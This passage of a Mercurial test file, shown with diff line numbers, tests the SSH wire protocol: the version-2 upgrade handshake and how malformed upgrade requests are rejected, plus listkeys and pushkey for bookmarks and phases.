1022 1022 devel-peer-request: protocaps
1023 1023 devel-peer-request: caps: * bytes (glob)
1024 1024 sending protocaps command
1025 1025 url: ssh://user@dummy/server
1026 1026 local: no
1027 1027 pushable: yes
1028 1028
1029 1029 Verify the peer has capabilities
1030 1030
1031 1031 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server
1032 1032 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1033 1033 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1034 1034 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1035 1035 devel-peer-request: hello+between
1036 1036 devel-peer-request: pairs: 81 bytes
1037 1037 sending hello command
1038 1038 sending between command
1039 1039 protocol upgraded to exp-ssh-v2-0001
1040 1040 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1041 1041 devel-peer-request: protocaps
1042 1042 devel-peer-request: caps: * bytes (glob)
1043 1043 sending protocaps command
1044 1044 Main capabilities:
1045 1045 batch
1046 1046 branchmap
1047 1047 $USUAL_BUNDLE2_CAPS_SERVER$
1048 1048 changegroupsubset
1049 1049 getbundle
1050 1050 known
1051 1051 lookup
1052 1052 protocaps
1053 1053 pushkey
1054 1054 streamreqs=generaldelta,revlogv1
1055 1055 unbundle=HG10GZ,HG10BZ,HG10UN
1056 1056 unbundlehash
1057 1057 Bundle2 capabilities:
1058 1058 HG20
1059 1059 bookmarks
1060 1060 changegroup
1061 1061 01
1062 1062 02
1063 1063 digests
1064 1064 md5
1065 1065 sha1
1066 1066 sha512
1067 1067 error
1068 1068 abort
1069 1069 unsupportedcontent
1070 1070 pushraced
1071 1071 pushkey
1072 1072 hgtagsfnodes
1073 1073 listkeys
1074 1074 phases
1075 1075 heads
1076 1076 pushkey
1077 1077 remote-changegroup
1078 1078 http
1079 1079 https
1080 1080 rev-branch-cache
1081 1081
1082 1082 Command after upgrade to version 2 is processed
1083 1083
1084 1084 $ cd server
1085 1085
1086 1086 $ hg debugwireproto --localssh --peer raw << EOF
1087 1087 > raw
1088 1088 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1089 1089 > hello\n
1090 1090 > between\n
1091 1091 > pairs 81\n
1092 1092 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1093 1093 > readline
1094 1094 > readline
1095 1095 > readline
1096 1096 > raw
1097 1097 > hello\n
1098 1098 > readline
1099 1099 > readline
1100 1100 > EOF
1101 1101 using raw connection to peer
1102 1102 i> write(153) -> 153:
1103 1103 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1104 1104 i> hello\n
1105 1105 i> between\n
1106 1106 i> pairs 81\n
1107 1107 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1108 1108 o> readline() -> 44:
1109 1109 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1110 1110 o> readline() -> 4:
1111 1111 o> 412\n
1112 1112 o> readline() -> 413:
1113 1113 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1114 1114 i> write(6) -> 6:
1115 1115 i> hello\n
1116 1116 o> readline() -> 4:
1117 1117 o> 397\n
1118 1118 o> readline() -> 397:
1119 1119 o> capabilities: branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1120 1120
1121 1121 Multiple upgrades is not allowed
1122 1122
1123 1123 $ hg debugwireproto --localssh --peer raw << EOF
1124 1124 > raw
1125 1125 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1126 1126 > hello\n
1127 1127 > between\n
1128 1128 > pairs 81\n
1129 1129 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1130 1130 > readline
1131 1131 > readline
1132 1132 > readline
1133 1133 > raw
1134 1134 > upgrade another-token proto=irrelevant\n
1135 1135 > hello\n
1136 1136 > readline
1137 1137 > readavailable
1138 1138 > EOF
1139 1139 using raw connection to peer
1140 1140 i> write(153) -> 153:
1141 1141 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1142 1142 i> hello\n
1143 1143 i> between\n
1144 1144 i> pairs 81\n
1145 1145 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1146 1146 o> readline() -> 44:
1147 1147 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1148 1148 o> readline() -> 4:
1149 1149 o> 412\n
1150 1150 o> readline() -> 413:
1151 1151 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1152 1152 i> write(45) -> 45:
1153 1153 i> upgrade another-token proto=irrelevant\n
1154 1154 i> hello\n
1155 1155 o> readline() -> 1:
1156 1156 o> \n
1157 o> read(-1) -> 0:
1158 1157 e> read(-1) -> 42:
1159 1158 e> cannot upgrade protocols multiple times\n
1160 1159 e> -\n
1161 1160
1162 1161 Malformed upgrade request line (not exactly 3 space delimited tokens)
1163 1162
1164 1163 $ hg debugwireproto --localssh --peer raw << EOF
1165 1164 > raw
1166 1165 > upgrade\n
1167 1166 > readline
1168 1167 > EOF
1169 1168 using raw connection to peer
1170 1169 i> write(8) -> 8:
1171 1170 i> upgrade\n
1172 1171 o> readline() -> 2:
1173 1172 o> 0\n
1174 1173
1175 1174 $ hg debugwireproto --localssh --peer raw << EOF
1176 1175 > raw
1177 1176 > upgrade token\n
1178 1177 > readline
1179 1178 > EOF
1180 1179 using raw connection to peer
1181 1180 i> write(14) -> 14:
1182 1181 i> upgrade token\n
1183 1182 o> readline() -> 2:
1184 1183 o> 0\n
1185 1184
1186 1185 $ hg debugwireproto --localssh --peer raw << EOF
1187 1186 > raw
1188 1187 > upgrade token foo=bar extra-token\n
1189 1188 > readline
1190 1189 > EOF
1191 1190 using raw connection to peer
1192 1191 i> write(34) -> 34:
1193 1192 i> upgrade token foo=bar extra-token\n
1194 1193 o> readline() -> 2:
1195 1194 o> 0\n
1196 1195
1197 1196 Upgrade request to unsupported protocol is ignored
1198 1197
1199 1198 $ hg debugwireproto --localssh --peer raw << EOF
1200 1199 > raw
1201 1200 > upgrade this-is-some-token proto=unknown1,unknown2\n
1202 1201 > readline
1203 1202 > raw
1204 1203 > hello\n
1205 1204 > readline
1206 1205 > readline
1207 1206 > raw
1208 1207 > between\n
1209 1208 > pairs 81\n
1210 1209 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1211 1210 > readline
1212 1211 > readline
1213 1212 > EOF
1214 1213 using raw connection to peer
1215 1214 i> write(51) -> 51:
1216 1215 i> upgrade this-is-some-token proto=unknown1,unknown2\n
1217 1216 o> readline() -> 2:
1218 1217 o> 0\n
1219 1218 i> write(6) -> 6:
1220 1219 i> hello\n
1221 1220 o> readline() -> 4:
1222 1221 o> 413\n
1223 1222 o> readline() -> 413:
1224 1223 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1225 1224 i> write(98) -> 98:
1226 1225 i> between\n
1227 1226 i> pairs 81\n
1228 1227 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1229 1228 o> readline() -> 2:
1230 1229 o> 1\n
1231 1230 o> readline() -> 1:
1232 1231 o> \n
1233 1232
1234 1233 Upgrade request must be followed by hello + between
1235 1234
1236 1235 $ hg debugwireproto --localssh --peer raw << EOF
1237 1236 > raw
1238 1237 > upgrade token proto=exp-ssh-v2-0001\n
1239 1238 > invalid\n
1240 1239 > readline
1241 1240 > readavailable
1242 1241 > EOF
1243 1242 using raw connection to peer
1244 1243 i> write(44) -> 44:
1245 1244 i> upgrade token proto=exp-ssh-v2-0001\n
1246 1245 i> invalid\n
1247 1246 o> readline() -> 1:
1248 1247 o> \n
1249 o> read(-1) -> 0:
1250 1248 e> read(-1) -> 46:
1251 1249 e> malformed handshake protocol: missing hello\n
1252 1250 e> -\n
1253 1251
1254 1252 $ hg debugwireproto --localssh --peer raw << EOF
1255 1253 > raw
1256 1254 > upgrade token proto=exp-ssh-v2-0001\n
1257 1255 > hello\n
1258 1256 > invalid\n
1259 1257 > readline
1260 1258 > readavailable
1261 1259 > EOF
1262 1260 using raw connection to peer
1263 1261 i> write(50) -> 50:
1264 1262 i> upgrade token proto=exp-ssh-v2-0001\n
1265 1263 i> hello\n
1266 1264 i> invalid\n
1267 1265 o> readline() -> 1:
1268 1266 o> \n
1269 o> read(-1) -> 0:
1270 1267 e> read(-1) -> 48:
1271 1268 e> malformed handshake protocol: missing between\n
1272 1269 e> -\n
1273 1270
1274 1271 $ hg debugwireproto --localssh --peer raw << EOF
1275 1272 > raw
1276 1273 > upgrade token proto=exp-ssh-v2-0001\n
1277 1274 > hello\n
1278 1275 > between\n
1279 1276 > invalid\n
1280 1277 > readline
1281 1278 > readavailable
1282 1279 > EOF
1283 1280 using raw connection to peer
1284 1281 i> write(58) -> 58:
1285 1282 i> upgrade token proto=exp-ssh-v2-0001\n
1286 1283 i> hello\n
1287 1284 i> between\n
1288 1285 i> invalid\n
1289 1286 o> readline() -> 1:
1290 1287 o> \n
1291 o> read(-1) -> 0:
1292 1288 e> read(-1) -> 49:
1293 1289 e> malformed handshake protocol: missing pairs 81\n
1294 1290 e> -\n
1295 1291
1296 1292 Legacy commands are not exposed to version 2 of protocol
1297 1293
1298 1294 TODO re-enable these once we're back to actually using v2 commands
1299 1295
1300 1296 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1301 1297 > command branches
1302 1298 > nodes 0000000000000000000000000000000000000000
1303 1299 > EOF
1304 1300 creating ssh peer from handshake results
1305 1301 sending branches command
1306 1302 response:
1307 1303
1308 1304 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1309 1305 > command changegroup
1310 1306 > roots 0000000000000000000000000000000000000000
1311 1307 > EOF
1312 1308 creating ssh peer from handshake results
1313 1309 sending changegroup command
1314 1310 response:
1315 1311
1316 1312 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1317 1313 > command changegroupsubset
1318 1314 > bases 0000000000000000000000000000000000000000
1319 1315 > heads 0000000000000000000000000000000000000000
1320 1316 > EOF
1321 1317 creating ssh peer from handshake results
1322 1318 sending changegroupsubset command
1323 1319 response:
1324 1320
1325 1321 $ cd ..
1326 1322
1327 1323 Test listkeys for listing namespaces
1328 1324
1329 1325 $ hg init empty
1330 1326 $ cd empty
1331 1327 $ debugwireproto << EOF
1332 1328 > command listkeys
1333 1329 > namespace namespaces
1334 1330 > EOF
1335 1331 testing ssh1
1336 1332 creating ssh peer from handshake results
1337 1333 i> write(104) -> 104:
1338 1334 i> hello\n
1339 1335 i> between\n
1340 1336 i> pairs 81\n
1341 1337 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1342 1338 i> flush() -> None
1343 1339 o> readline() -> 4:
1344 1340 o> 413\n
1345 1341 o> readline() -> 413:
1346 1342 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1347 1343 o> readline() -> 2:
1348 1344 o> 1\n
1349 1345 o> readline() -> 1:
1350 1346 o> \n
1351 1347 sending listkeys command
1352 1348 i> write(9) -> 9:
1353 1349 i> listkeys\n
1354 1350 i> write(13) -> 13:
1355 1351 i> namespace 10\n
1356 1352 i> write(10) -> 10: namespaces
1357 1353 i> flush() -> None
1358 1354 o> bufferedreadline() -> 3:
1359 1355 o> 30\n
1360 1356 o> bufferedread(30) -> 30:
1361 1357 o> bookmarks\t\n
1362 1358 o> namespaces\t\n
1363 1359 o> phases\t
1364 1360 response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''}
1365 1361
1366 1362 testing ssh2
1367 1363 creating ssh peer from handshake results
1368 1364 i> write(171) -> 171:
1369 1365 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1370 1366 i> hello\n
1371 1367 i> between\n
1372 1368 i> pairs 81\n
1373 1369 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1374 1370 i> flush() -> None
1375 1371 o> readline() -> 62:
1376 1372 o> upgraded * exp-ssh-v2-0001\n (glob)
1377 1373 o> readline() -> 4:
1378 1374 o> 412\n
1379 1375 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1380 1376 o> read(1) -> 1:
1381 1377 o> \n
1382 1378 sending listkeys command
1383 1379 i> write(9) -> 9:
1384 1380 i> listkeys\n
1385 1381 i> write(13) -> 13:
1386 1382 i> namespace 10\n
1387 1383 i> write(10) -> 10: namespaces
1388 1384 i> flush() -> None
1389 1385 o> bufferedreadline() -> 3:
1390 1386 o> 30\n
1391 1387 o> bufferedread(30) -> 30:
1392 1388 o> bookmarks\t\n
1393 1389 o> namespaces\t\n
1394 1390 o> phases\t
1395 1391 response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''}
1396 1392
1397 1393 $ cd ..
1398 1394
1399 1395 Test listkeys for bookmarks
1400 1396
1401 1397 $ hg init bookmarkrepo
1402 1398 $ cd bookmarkrepo
1403 1399 $ echo 0 > foo
1404 1400 $ hg add foo
1405 1401 $ hg -q commit -m initial
1406 1402 $ echo 1 > foo
1407 1403 $ hg commit -m second
1408 1404
1409 1405 With no bookmarks set
1410 1406
1411 1407 $ debugwireproto << EOF
1412 1408 > command listkeys
1413 1409 > namespace bookmarks
1414 1410 > EOF
1415 1411 testing ssh1
1416 1412 creating ssh peer from handshake results
1417 1413 i> write(104) -> 104:
1418 1414 i> hello\n
1419 1415 i> between\n
1420 1416 i> pairs 81\n
1421 1417 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1422 1418 i> flush() -> None
1423 1419 o> readline() -> 4:
1424 1420 o> 413\n
1425 1421 o> readline() -> 413:
1426 1422 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1427 1423 o> readline() -> 2:
1428 1424 o> 1\n
1429 1425 o> readline() -> 1:
1430 1426 o> \n
1431 1427 sending listkeys command
1432 1428 i> write(9) -> 9:
1433 1429 i> listkeys\n
1434 1430 i> write(12) -> 12:
1435 1431 i> namespace 9\n
1436 1432 i> write(9) -> 9: bookmarks
1437 1433 i> flush() -> None
1438 1434 o> bufferedreadline() -> 2:
1439 1435 o> 0\n
1440 1436 response: {}
1441 1437
1442 1438 testing ssh2
1443 1439 creating ssh peer from handshake results
1444 1440 i> write(171) -> 171:
1445 1441 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1446 1442 i> hello\n
1447 1443 i> between\n
1448 1444 i> pairs 81\n
1449 1445 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1450 1446 i> flush() -> None
1451 1447 o> readline() -> 62:
1452 1448 o> upgraded * exp-ssh-v2-0001\n (glob)
1453 1449 o> readline() -> 4:
1454 1450 o> 412\n
1455 1451 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1456 1452 o> read(1) -> 1:
1457 1453 o> \n
1458 1454 sending listkeys command
1459 1455 i> write(9) -> 9:
1460 1456 i> listkeys\n
1461 1457 i> write(12) -> 12:
1462 1458 i> namespace 9\n
1463 1459 i> write(9) -> 9: bookmarks
1464 1460 i> flush() -> None
1465 1461 o> bufferedreadline() -> 2:
1466 1462 o> 0\n
1467 1463 response: {}
1468 1464
1469 1465 With a single bookmark set
1470 1466
1471 1467 $ hg book -r 0 bookA
1472 1468 $ debugwireproto << EOF
1473 1469 > command listkeys
1474 1470 > namespace bookmarks
1475 1471 > EOF
1476 1472 testing ssh1
1477 1473 creating ssh peer from handshake results
1478 1474 i> write(104) -> 104:
1479 1475 i> hello\n
1480 1476 i> between\n
1481 1477 i> pairs 81\n
1482 1478 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1483 1479 i> flush() -> None
1484 1480 o> readline() -> 4:
1485 1481 o> 413\n
1486 1482 o> readline() -> 413:
1487 1483 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1488 1484 o> readline() -> 2:
1489 1485 o> 1\n
1490 1486 o> readline() -> 1:
1491 1487 o> \n
1492 1488 sending listkeys command
1493 1489 i> write(9) -> 9:
1494 1490 i> listkeys\n
1495 1491 i> write(12) -> 12:
1496 1492 i> namespace 9\n
1497 1493 i> write(9) -> 9: bookmarks
1498 1494 i> flush() -> None
1499 1495 o> bufferedreadline() -> 3:
1500 1496 o> 46\n
1501 1497 o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f
1502 1498 response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'}
1503 1499
1504 1500 testing ssh2
1505 1501 creating ssh peer from handshake results
1506 1502 i> write(171) -> 171:
1507 1503 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1508 1504 i> hello\n
1509 1505 i> between\n
1510 1506 i> pairs 81\n
1511 1507 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1512 1508 i> flush() -> None
1513 1509 o> readline() -> 62:
1514 1510 o> upgraded * exp-ssh-v2-0001\n (glob)
1515 1511 o> readline() -> 4:
1516 1512 o> 412\n
1517 1513 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1518 1514 o> read(1) -> 1:
1519 1515 o> \n
1520 1516 sending listkeys command
1521 1517 i> write(9) -> 9:
1522 1518 i> listkeys\n
1523 1519 i> write(12) -> 12:
1524 1520 i> namespace 9\n
1525 1521 i> write(9) -> 9: bookmarks
1526 1522 i> flush() -> None
1527 1523 o> bufferedreadline() -> 3:
1528 1524 o> 46\n
1529 1525 o> bufferedread(46) -> 46: bookA\t68986213bd4485ea51533535e3fc9e78007a711f
1530 1526 response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f'}
1531 1527
1532 1528 With multiple bookmarks set
1533 1529
1534 1530 $ hg book -r 1 bookB
1535 1531 $ debugwireproto << EOF
1536 1532 > command listkeys
1537 1533 > namespace bookmarks
1538 1534 > EOF
1539 1535 testing ssh1
1540 1536 creating ssh peer from handshake results
1541 1537 i> write(104) -> 104:
1542 1538 i> hello\n
1543 1539 i> between\n
1544 1540 i> pairs 81\n
1545 1541 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1546 1542 i> flush() -> None
1547 1543 o> readline() -> 4:
1548 1544 o> 413\n
1549 1545 o> readline() -> 413:
1550 1546 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1551 1547 o> readline() -> 2:
1552 1548 o> 1\n
1553 1549 o> readline() -> 1:
1554 1550 o> \n
1555 1551 sending listkeys command
1556 1552 i> write(9) -> 9:
1557 1553 i> listkeys\n
1558 1554 i> write(12) -> 12:
1559 1555 i> namespace 9\n
1560 1556 i> write(9) -> 9: bookmarks
1561 1557 i> flush() -> None
1562 1558 o> bufferedreadline() -> 3:
1563 1559 o> 93\n
1564 1560 o> bufferedread(93) -> 93:
1565 1561 o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n
1566 1562 o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d
1567 1563 response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'}
1568 1564
1569 1565 testing ssh2
1570 1566 creating ssh peer from handshake results
1571 1567 i> write(171) -> 171:
1572 1568 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1573 1569 i> hello\n
1574 1570 i> between\n
1575 1571 i> pairs 81\n
1576 1572 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1577 1573 i> flush() -> None
1578 1574 o> readline() -> 62:
1579 1575 o> upgraded * exp-ssh-v2-0001\n (glob)
1580 1576 o> readline() -> 4:
1581 1577 o> 412\n
1582 1578 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1583 1579 o> read(1) -> 1:
1584 1580 o> \n
1585 1581 sending listkeys command
1586 1582 i> write(9) -> 9:
1587 1583 i> listkeys\n
1588 1584 i> write(12) -> 12:
1589 1585 i> namespace 9\n
1590 1586 i> write(9) -> 9: bookmarks
1591 1587 i> flush() -> None
1592 1588 o> bufferedreadline() -> 3:
1593 1589 o> 93\n
1594 1590 o> bufferedread(93) -> 93:
1595 1591 o> bookA\t68986213bd4485ea51533535e3fc9e78007a711f\n
1596 1592 o> bookB\t1880f3755e2e52e3199e0ee5638128b08642f34d
1597 1593 response: {b'bookA': b'68986213bd4485ea51533535e3fc9e78007a711f', b'bookB': b'1880f3755e2e52e3199e0ee5638128b08642f34d'}
1598 1594
1599 1595 Test pushkey for bookmarks
1600 1596
1601 1597 $ debugwireproto << EOF
1602 1598 > command pushkey
1603 1599 > namespace bookmarks
1604 1600 > key remote
1605 1601 > old
1606 1602 > new 68986213bd4485ea51533535e3fc9e78007a711f
1607 1603 > EOF
1608 1604 testing ssh1
1609 1605 creating ssh peer from handshake results
1610 1606 i> write(104) -> 104:
1611 1607 i> hello\n
1612 1608 i> between\n
1613 1609 i> pairs 81\n
1614 1610 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1615 1611 i> flush() -> None
1616 1612 o> readline() -> 4:
1617 1613 o> 413\n
1618 1614 o> readline() -> 413:
1619 1615 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1620 1616 o> readline() -> 2:
1621 1617 o> 1\n
1622 1618 o> readline() -> 1:
1623 1619 o> \n
1624 1620 sending pushkey command
1625 1621 i> write(8) -> 8:
1626 1622 i> pushkey\n
1627 1623 i> write(6) -> 6:
1628 1624 i> key 6\n
1629 1625 i> write(6) -> 6: remote
1630 1626 i> write(12) -> 12:
1631 1627 i> namespace 9\n
1632 1628 i> write(9) -> 9: bookmarks
1633 1629 i> write(7) -> 7:
1634 1630 i> new 40\n
1635 1631 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1636 1632 i> write(6) -> 6:
1637 1633 i> old 0\n
1638 1634 i> flush() -> None
1639 1635 o> bufferedreadline() -> 2:
1640 1636 o> 2\n
1641 1637 o> bufferedread(2) -> 2:
1642 1638 o> 1\n
1643 1639 response: True
1644 1640
1645 1641 testing ssh2
1646 1642 creating ssh peer from handshake results
1647 1643 i> write(171) -> 171:
1648 1644 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1649 1645 i> hello\n
1650 1646 i> between\n
1651 1647 i> pairs 81\n
1652 1648 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1653 1649 i> flush() -> None
1654 1650 o> readline() -> 62:
1655 1651 o> upgraded * exp-ssh-v2-0001\n (glob)
1656 1652 o> readline() -> 4:
1657 1653 o> 412\n
1658 1654 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1659 1655 o> read(1) -> 1:
1660 1656 o> \n
1661 1657 sending pushkey command
1662 1658 i> write(8) -> 8:
1663 1659 i> pushkey\n
1664 1660 i> write(6) -> 6:
1665 1661 i> key 6\n
1666 1662 i> write(6) -> 6: remote
1667 1663 i> write(12) -> 12:
1668 1664 i> namespace 9\n
1669 1665 i> write(9) -> 9: bookmarks
1670 1666 i> write(7) -> 7:
1671 1667 i> new 40\n
1672 1668 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1673 1669 i> write(6) -> 6:
1674 1670 i> old 0\n
1675 1671 i> flush() -> None
1676 1672 o> bufferedreadline() -> 2:
1677 1673 o> 2\n
1678 1674 o> bufferedread(2) -> 2:
1679 1675 o> 1\n
1680 1676 response: True
1681 1677
1682 1678 $ hg bookmarks
1683 1679 bookA 0:68986213bd44
1684 1680 bookB 1:1880f3755e2e
1685 1681 remote 0:68986213bd44
1686 1682
1687 1683 $ cd ..
1688 1684
1689 1685 Test listkeys for phases
1690 1686
1691 1687 $ hg init phasesrepo
1692 1688 $ cd phasesrepo
1693 1689
1694 1690 Phases on empty repo
1695 1691
1696 1692 $ debugwireproto << EOF
1697 1693 > command listkeys
1698 1694 > namespace phases
1699 1695 > EOF
1700 1696 testing ssh1
1701 1697 creating ssh peer from handshake results
1702 1698 i> write(104) -> 104:
1703 1699 i> hello\n
1704 1700 i> between\n
1705 1701 i> pairs 81\n
1706 1702 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1707 1703 i> flush() -> None
1708 1704 o> readline() -> 4:
1709 1705 o> 413\n
1710 1706 o> readline() -> 413:
1711 1707 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1712 1708 o> readline() -> 2:
1713 1709 o> 1\n
1714 1710 o> readline() -> 1:
1715 1711 o> \n
1716 1712 sending listkeys command
1717 1713 i> write(9) -> 9:
1718 1714 i> listkeys\n
1719 1715 i> write(12) -> 12:
1720 1716 i> namespace 6\n
1721 1717 i> write(6) -> 6: phases
1722 1718 i> flush() -> None
1723 1719 o> bufferedreadline() -> 3:
1724 1720 o> 15\n
1725 1721 o> bufferedread(15) -> 15: publishing\tTrue
1726 1722 response: {b'publishing': b'True'}
1727 1723
1728 1724 testing ssh2
1729 1725 creating ssh peer from handshake results
1730 1726 i> write(171) -> 171:
1731 1727 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1732 1728 i> hello\n
1733 1729 i> between\n
1734 1730 i> pairs 81\n
1735 1731 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1736 1732 i> flush() -> None
1737 1733 o> readline() -> 62:
1738 1734 o> upgraded * exp-ssh-v2-0001\n (glob)
1739 1735 o> readline() -> 4:
1740 1736 o> 412\n
1741 1737 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1742 1738 o> read(1) -> 1:
1743 1739 o> \n
1744 1740 sending listkeys command
1745 1741 i> write(9) -> 9:
1746 1742 i> listkeys\n
1747 1743 i> write(12) -> 12:
1748 1744 i> namespace 6\n
1749 1745 i> write(6) -> 6: phases
1750 1746 i> flush() -> None
1751 1747 o> bufferedreadline() -> 3:
1752 1748 o> 15\n
1753 1749 o> bufferedread(15) -> 15: publishing\tTrue
1754 1750 response: {b'publishing': b'True'}
1755 1751
1756 1752 Create some commits
1757 1753
1758 1754 $ echo 0 > foo
1759 1755 $ hg add foo
1760 1756 $ hg -q commit -m initial
1761 1757 $ hg phase --public
1762 1758 $ echo 1 > foo
1763 1759 $ hg commit -m 'head 1 commit 1'
1764 1760 $ echo 2 > foo
1765 1761 $ hg commit -m 'head 1 commit 2'
1766 1762 $ hg -q up 0
1767 1763 $ echo 1a > foo
1768 1764 $ hg commit -m 'head 2 commit 1'
1769 1765 created new head
1770 1766 $ echo 2a > foo
1771 1767 $ hg commit -m 'head 2 commit 2'
1772 1768
1773 1769 Two draft heads
1774 1770
1775 1771 $ debugwireproto << EOF
1776 1772 > command listkeys
1777 1773 > namespace phases
1778 1774 > EOF
1779 1775 testing ssh1
1780 1776 creating ssh peer from handshake results
1781 1777 i> write(104) -> 104:
1782 1778 i> hello\n
1783 1779 i> between\n
1784 1780 i> pairs 81\n
1785 1781 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1786 1782 i> flush() -> None
1787 1783 o> readline() -> 4:
1788 1784 o> 413\n
1789 1785 o> readline() -> 413:
